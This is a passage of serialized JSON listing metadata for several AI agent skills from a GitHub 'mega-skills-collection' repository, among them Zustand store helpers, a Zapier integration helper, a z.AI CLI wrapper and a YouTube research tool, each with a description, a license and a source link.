Z716","zustand-store-ts","Create Zustand stores with TypeScript, subscribeWithSelector middleware, and proper state\u002Faction separation. Use when building React state management, creating global stores, or implementing reactive state patterns with Zustand.","MIT","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-ts\u002FSKILL.md",[],[],{"skillNo":82,"name":83,"nameZh":6,"description":84,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":85,"categories":86,"keywords":87,"publishedAt":20},"01M76R4T9KENDH7FENGZQHBW4G","zustand-store-creator","Zustand Store Creator - Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":89,"name":90,"nameZh":6,"description":91,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":92,"categories":93,"keywords":94,"publishedAt":20},"01M76R3YWN84B7SANJ52X799ZE","zero-trust-config-helper","Zero Trust Config Helper - Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":96,"name":97,"nameZh":6,"description":98,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":20},"01M76R3HNSV2AEYSKHM915GJ58","zapier-integration-helper","Zapier Integration Helper - Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":20},"01M76R3DJSKAT4FA7DV4BF3GCE","zai-cli","Execute z.AI CLI providing vision, search, reader, and GitHub exploration via CLI and MCP.\nUse when user needs image\u002Fvideo analysis, OCR, UI-to-code conversion, error diagnosis,\nreal-time web search, web page to markdown extraction, or GitHub code exploration.\nTrigger with phrases like \"analyze this image\", \"search the web for\", \"read this page\",\n\"explore this repo\", or \"use zai\". Requires Z_AI_API_KEY.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzai-cli\u002FSKILL.md",[],[],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":77,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":115,"publishedAt":20},"01M76R2KAM699XE9AJVAWE4H2E","yt-research","Research competitor YouTube channels, niches, and trending topics for your content strategy.\nUse this skill whenever the user says \"research channels\", \"analyze competitors\", \"find trending topics\",\n\"niche analysis\", \"competitive research\", \"what are other creators doing\", \"scrape YouTube channels\",\nor wants to understand the competitive landscape for a specific tool or topic area. Use when working with yt research. Trigger with 'yt', 'research'.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fyt-research\u002FSKILL.md",[],[]]